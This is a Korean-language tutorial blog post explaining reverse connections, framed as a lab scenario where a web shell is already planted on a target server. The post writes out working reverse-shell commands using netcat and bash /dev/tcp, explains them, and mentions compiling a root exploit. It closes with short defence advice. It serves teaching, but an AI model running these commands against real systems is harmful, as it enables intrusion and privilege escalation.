Reverse Connection

오감자·2023년 4월 7일
0

Reverse Connection이란?

보통 서버와 클라이언트 관계에서, 클라이언트는 요청자이고 서버는 제공자이다.
따라서 서버가 IP주소와 Port를 열고 클라이언트의 요청을 기다리는 식이다.

Reverse Connection은 이것과 반대로 흘러간다.
서버가 요청하고 클라이언트가 제공한다는 의미이다.

General

Reverse Connection

언제 사용하나요?

1. 방화벽 우회

일반적으로, 인바운드 정책은 서비스하는 포트만을 열어서 관리하는 반면
아웃바운드 정책은 설정하지 않는다.

따라서 서버로 들어오는 데이터는 방화벽으로 잘 걸러지는 반면
서버에서 나가는 데이터는 아무 제한이 없으므로
방화벽을 우회하기 위해 리버스 커넥션을 사용한다.

2. 권한 설정

WEB 서비스를 위해 실행되는 apache는 리눅스 root의 자식프로세스인 nobody 권한으로 실행된다. 따라서 웹 취약점을 통해 웹 쉘을 실행시킨다 하더라도, nobody 권한으로 실행되는 것이다.

권한 상승을 위해, 웹 서버 내에서 Exploit을 하는 것이 아닌, 외부 Connection을 이용하여 권한상승을 꾀하는 것이 Reverse Connection의 목적이다.

시나리오

1. 목표 시스템

10.10.10.10 웹 서비스를 제공하는 서버
gcc 컴파일러가 설치되어 있음
웹 쉘 업로드를 성공했다는 가정 아래 진행

2. 취약점 탐색

file upload 취약점에 의해 웹 쉘 업로드를 성공하였다.

따라서 공격자는 웹 서버의 blacklist 정책에 위배되지 않는 한,
원하는 파일을 서버에 업로드 할 수 있다.

uname -a 명령어를 통해 서버의 정보를 수집한다.

3. 공격 시도

Attack1) netcat 활용

리눅스에는 기본적으로 netcat 도구가 설치되어 있음을 이용한다.

클라이언트에서 Netcat을 실행시켜 Server가 접속하도록 기다린다.

Client

-lvp [port] 명령어를 입력하여 수신받을 port를 열고 기다린다.
(해당 시나리오에선 5512포트를 사용한다)

Server(web_shell)
nc -e /bin/bash [client_ip] [client_port] 명령어를 통해 client와 연결한다

다음과 같은 화면이 나오면 연결에 성공한 것이다.
시스템 취약점을 활용하여 권한을 상승시켜주는 exploit code를 해당 서버에 업로드한다.
연결된 Client의 NC를 통해 해당 코드를 빌드하고 실행한다.
gcc -o [Build File Name] [Source Code]

exploit 성공 !

Attack2) Bash 활용

bash -i 를 통한 reverse connection도 가능하다.

Client
nc를 활용하여 포트를 열고 대기한다.

Server
bash -i >& /dev/tcp/[Client_IP]/[Port] 0>&1 명령어를 활용하여 client와 연결을 맺는다.


연결 성공!

앞서 만들어놨던 exploit_code 코드를 통해 root 권한을 획득할 수 있다.

공격 원리

netcat

"nc"라고도 하는 Netcat은 TCP 또는 UDP 프로토콜을 사용하여 네트워크 연결을 통해 데이터를 읽고 쓰는 네트워킹 유틸리티이다. 포트 스캔, 파일 전송, 리버스 쉘 생성과 같은 다양한 작업에 사용할 수 있다.

Netcat은 Linux, macOS 및 Windows를 비롯한 다양한 운영 체제의 터미널 또는 명령 프롬프트에서 실행할 수 있는 명령줄 도구이다. 네트워크 연결을 설정하고 관리하는 데 사용할 수 있는 간단하고 가벼운 도구이다.

netcat을 사용하기 위한 기본 구문은 다음과 같다.

nc [options] host port

여기서 host는 원격 서버의 IP 주소 또는 호스트 이름이고 port는 연결할 포트 번호이다.

netcat의 몇 가지 일반적인 옵션은 다음과 같다.

-l: (listen) 연결 대기
-p: (port) 포트 번호 지정
-e: (execute) 연결 후 명령 실행
-u: (udp) TCP 대신 UDP 사용
-v: (verbose) 자세한 출력

본 실습에 사용된 명령어를 살펴보면,

nc -lvp 5512 명령어는
5512 포트를 listen 모드로 열어 대기하고, 그 과정을 자세히 보여달라는 의미이다.

nc -e /bin/bash 10.10.10.1 5512 명령어는
10.10.10.1:5512 로 연결하여 /bin/bash를 실행시키라는 의미이다.

정리하자면 다음과 같다


서버가 클라이언트에게 연결을 요청하고, 클라이언트가 이에 응한다.
이후 서버는 연결에 성공했기 때문에 /bin/bash를 실행한다.

이를 코드로 작성해보면,

if connect():
	execute(/bin/bash)

정도로 볼 수 있겠다.

bash

bash는 리눅스의 기본 쉘 스크립트이다.
공격으로 사용된 코드를 살펴보자
bash -i >& /dev/tcp/Client_ip/port 0>&1

bash : bash 쉘 실행
-i : 사용자가 명령을 입력하고 출력을 받도록 대화형 쉘 구축
>& /dev/tcp/Client_ip/port : 표준 출력과 오류를 Client_ip:port로 리디렉션
0&>1 : 표준 입력을 동일한 네트워크 소켓(Client_ip:port)으로 리디렉션하여 사용자가 입력한 모든 입력이 네트워크를 통해 원격 수신기로 전송되도록 함

정리하면, 대화형 쉘을 실행하고(1회용이 아닌, 쉘이 계속 실행되도록 하기 위해), 그 결과를 IP:PORT로 전송시킨다. 0&>1을 통해 입출력이 원격지에서 가능하도록 설정한다.

참고

일련번호이름용도표준장치
0stdin명령어에 입력될 내용 저장키보드
1stdout명령어에 출력될 내용 저장화면
2stderr명령어에 출력될 에러 저장화면
$ 명령 >& 파일명 # : 명령이 실행된 표준 출력의 결과와 에러를 파일로 출력
$ 명령 >>& 파일명 # : 명령이 실행된 표준 출력의 결과와 에러를 파일로 덧붙여 출력

$ 명령 >! 파일명 # : 파일의 존재 유무와 상관없이 생성하고 명령이 실행된 표준 출력의 결과를 파일로 출력
$ 명령 >>! 파일명 # : 파일의 존재 유무와 상관없이 생성하고 파일에 덧붙여 출력

$ 명령 >&! 파일명 # : 파일의 존재 유무와 상관없이 생성하고 명령이 실행된 표준 출력의 결과와 에러를 파일로 출력
$ 명령 >>&! 파일명 # : 파일의 존재 유무와 상관없이 생성하고 명령이 실행된 표준 출력의 결과와 에러를 파일에 덧붙여 출력

공격조건

쉘 코드를 실행할 수 있어야 한다
아웃바운드 정책이 제한적이지 않아야 한다

방어방법

우선, 파일 업로드 방어기법을 통해 쉘 코드가 실행되는 것을 막고
아웃바운드 정책을 설정한다.

0개의 댓글

관련 채용 정보